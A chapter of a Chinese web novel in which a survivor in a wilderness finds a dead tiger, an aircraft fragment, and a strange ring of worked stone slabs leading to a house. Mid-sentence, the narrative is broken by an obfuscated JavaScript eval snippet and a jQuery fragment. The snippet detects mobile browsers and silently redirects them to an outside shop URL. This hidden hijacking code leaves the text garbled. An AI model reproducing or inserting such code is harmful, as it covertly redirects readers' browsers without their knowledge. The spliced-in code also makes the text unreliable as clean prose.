程羽对血的味道不陌生。
亲手拆解过猎物,对这种腥味已具备了应有的警惕,但她不知道这里是什么情况。
是什么动物受伤了吗?
程羽没有听到任何鸟叫以外的动静。她表情严肃地逐渐靠近巨石的方向,脚步尽可能放得更轻。
风迎面吹来,味道更加浓郁,没有腐臭,说明血是新鲜的。有什么东西就在那块巨石后头,没敢直接接近,她远远地绕到石头的侧面。
朝那里投去一道探究的目光——
一个巨大的老虎头朝着她的方向,瞪圆了眼睛。
其实现代人很少会见到老虎,大多隔着动物园的安全屏障,老虎又懒得搭理精力过剩的游客,只想睡大觉,人根本不会直面它带来的威胁与恐惧。
而真正见到的时候,心脏几乎停跳。
但程羽很快冷静下来,冰凉的手紧握武器,压住呼吸,不让脚下落叶发出任何声响。
那是一只老虎的尸体。
纵使皮毛依然靓丽,在阳光下现出美丽色彩,但它站不起来,更不可能对程羽进行撕杀。
确实只是一具没有任何生机的尸体,已经完全死透了。
老虎体型硕大,应正处壮年,獠牙森然,断了一根,眼眶睁得很大,用力瞪向前方,程羽就是恰与这视线对上眼,才会吓了一跳。
但细看,瞳仁都已经完全涣散,程羽觉得那对眼睛似乎透着一种不详的红色,眨眨眼,又像是她的错觉,很诡异。
正散发出血腥气味的是老虎上半身的巨大豁口,边缘不规则,像暴力撕开的,程羽看到了内脏和森森肋骨,本能地皱眉后退了半步。
那些血将周遭的草地浸染湿透,僵直的
四肢宣示,这只老虎绝非正常地死亡。
程羽的头皮发麻,大脑还在飞速运转。
作为万兽之王,老虎在食物链上还有更高层级的天敌吗?
有的,这代表另一个令她胆寒的事实,这片丛林里可能还存在熊这种凶猛的生物。
自然界里,熊与虎互相存在于彼此的食谱上,存在猎杀行为。
尤其是成年棕熊,体重甚至可以达到老虎的两倍,一掌下去,能有1600公斤,足以拍断猎物的脊椎,战斗力甚为可观。
二者相斗,老虎的优势更在于敏捷和高达80km/h的爆发速度,但皮毛要薄得多,受伤而死,也符合逻辑。
只是将眼前的场景理解为野生狩猎行为,也存在一些难以解释的疑点。
营养最丰富的内脏还在,豁口本身更像是伤口而非分解猎物的下嘴处。
程羽是知道熊著名的藏食习性的,这些大家伙会把没吃完的食物用树叶和泥土盖起来,等肉稍微发酵分解后再吃。
并且它们庞大的体型就决定,在进食习惯上,熊是很少剩饭的高效清道夫,巨大的咬合力让熊可以将猎物的骨头都咬碎吃掉,处理得干干净净,没道理将这么大一只猎物大剌剌地放在地面上不管。
除非——
程羽不敢停留,用最迅捷的速度告别这具猛兽残骸,什么喝水休息,全都抛之脑后,只顾得上逃离。
走出很远,也不敢放缓速度,鼻尖似乎还萦绕着那股猛烈的血腥气,一闭上眼,老虎死不瞑目的双眼就会在面前点亮。
她在脑海里补全可能的事件真相。
除非是,熊与老虎两败俱伤,并没有战胜者,这老虎苟延残喘着到此修养,却还是死了。
熊呢?还活着吗?又会在哪里?
程羽只感到后怕,两周里她都未曾直面猛兽,也算是成功地虎口逃生了一把。
如此,又急又快地奔走了两个多小时,程羽终于摸到了松林的边际。
雾气因海拔上升而缠绕在林间,光线正无可挽回地暗淡下去。视野里挤进其他树种的影子,雄山的轮廓还在那里,程羽与它的距离似乎没有缩减分毫。
望山跑死马,她想着,先前在溪边看不过是个小山丘,实际爬起来,才知分量。
一处略显陡峭的土坡横在面前,近三层楼高,生生挡住她的去路。
程羽打量着坡面上凸起的石头和倔强扎根的树和蓬草,估摸自己能上去。
她喘了口气,补充了些水分,这一段急行军的消耗,比先前大半天还要多。
趁着肾上腺素还没有完全退潮,选中一株在坡上横生的树,双手一撑,借力向上,脚试探着寻找稳当的石块着力,得了去处,再交替着寻找新的握点,如此反复。
就在她右脚踩上一处看似平坦的土面时,看见了一抹光。
是的,光。
这时候光线已经不够充足,但远未到伸手不见五指,只是那抹从斜上方折射来的光太过明显,拨动了程羽的神经。
她当即改变路线,朝那个方向移动。
会是什么呢?
如果是在他处,大概是生活垃圾反光,比如玻璃瓶底。
可是在这里,在这片茫茫无垠的原始丛林里,除了先前见到的两个飞机掉落物,程羽尚未见到任何同人类相关的东西。
它的位置不大好接近,程羽换了几次身体的重心着力点,甚至还扒了一把土,差点从松动的土壤上滑落,才借着树石的帮助移动到位。
她一看,还真是个反光物。许是先前角度特殊,碰巧让她看见,如今近在咫尺,反而没多闪耀。
程羽将这个巴掌大的物件捡起来,看起来是某种表面光滑的合金断片,厚度在5厘米左右,上有一道彩印,边缘锋利。
她觉得很眼熟。
皱着眉用力思考在哪里见过这样的东西,却不得其解。
她拿着那块碎片抬头张望四周,树、土、石头还有落日余晖,林子密密匝匝,远处全是重叠的深色树影,天空在那上面——
她猛然想起。
是飞机!
是那钢铁巨物的碎片,喷漆是飞机涂装的组成部分。
这个发现让程羽很激动,她离开庇护所的目的之一,就是为了到高处眺望寻找飞机坠毁的地点,进而获取救援。
说不定就在附近了。
她将碎片收进包里,决心快些往上爬,踏在旁边的石头上,脚下的触感却和别的石
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489624|202163||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头不太一样。
那是一种突兀的平整,甚至有些滑。
程羽错愕地低下头,一角青石从堆积的落叶与湿泥中显露出来。
颜色与质地都与她在这片荒野所见的一切石头都不同。
这也没什么,总有第一次见到的时候,但是,那石头青绿表面,竟似有一层温润的釉质,虽被泥土半掩,打磨过的工艺痕迹却一目了然。
她立刻蹲下身,快速清理周边裹挟它的泥土,露出石头厚重的全貌,一米来长,半米多宽,生生断成了两截。
从它倾斜的姿态推断,可能是曾在山坡上方,因山体滑坡之类的地形改变,才折断滑动至此。
这都不重要,程羽在意的只是石块的样式,分明像极了景区路面的青石板。
刚才完全被残片吸引走了注意力,竟然没有注意到这个。
程羽的心狂跳,热流冲上头顶。
人造物的存在,意味着什么?
意味着这里已经是人类文明覆盖的区域,有人来过,在此建造,甚至在此生活。
就算这一块儿已经毁损无人保养,只要找到附近的其他石板,就能找到从前的路径,一路走出山区,回到现代社会去!
她当即往土坡上方搜寻,刻意观察下,更多石板浮现出来,分布并不连贯,东一块西一块半埋土中,大多都是残缺的,被树根拱起,裂开,不知在这片寂寥的林子里等待了多久时间,才有人再次踏过。
但是,程羽却困惑了。
因为这些石板的排列和她想象中的道路并不一样。
她追寻着,在林子里踉跄走了一段,试图在脑海中勾勒它们的完整布局,隐隐约约,觉得线条收缩成一个不规则的圆。
而在程羽想清楚,这到底是个什么构局之前,前方视野里一团浓重的黑灰色阴影,因她的靠近,而逐渐和周围的树影分离出来,不是光线玩闹产生的错觉,也没有因为眨眼就消失成泡影,顶上尖尖的,下面方方的看上去像是一座房子?
就坐落在弧线闭环的那个端口,与石板一并组成躺倒的气球形状。
她猛地抽出笔记本,翻到其中一页,晦暗天光下,是她几个晚上前亲手画下的,一个代表无限的符号。
??
程羽愕然抬头,环视四周树木。
先前未曾留意,现在却有种茅塞顿开的感觉。
这些树木看似随意生长,树种混杂,但结合着地上的石板来看,针叶树与阔叶树交错种植,分明也是有规律的,仿佛是无意识的卫兵。
如果这不是一条通向某处的道路,那么,是谁费了这样大力气,将巨石切割成块,又如此排列?
这个人,或者这群人,有怎样的目的?
再加上眼前房子的存在,难道是某种古老文明的山中祭坛?又或者是某位观星者,在夜间发现星星之间的联系,以此复刻解读所谓神明的旨意?
程羽的推测没有答案,这时候,一滴水“哒”地滴在她的鼻尖。
她茫然地抬头,天空灰蒙蒙的,一弯月亮在云里忽明忽暗,竟然毫无征兆地开始下雨了。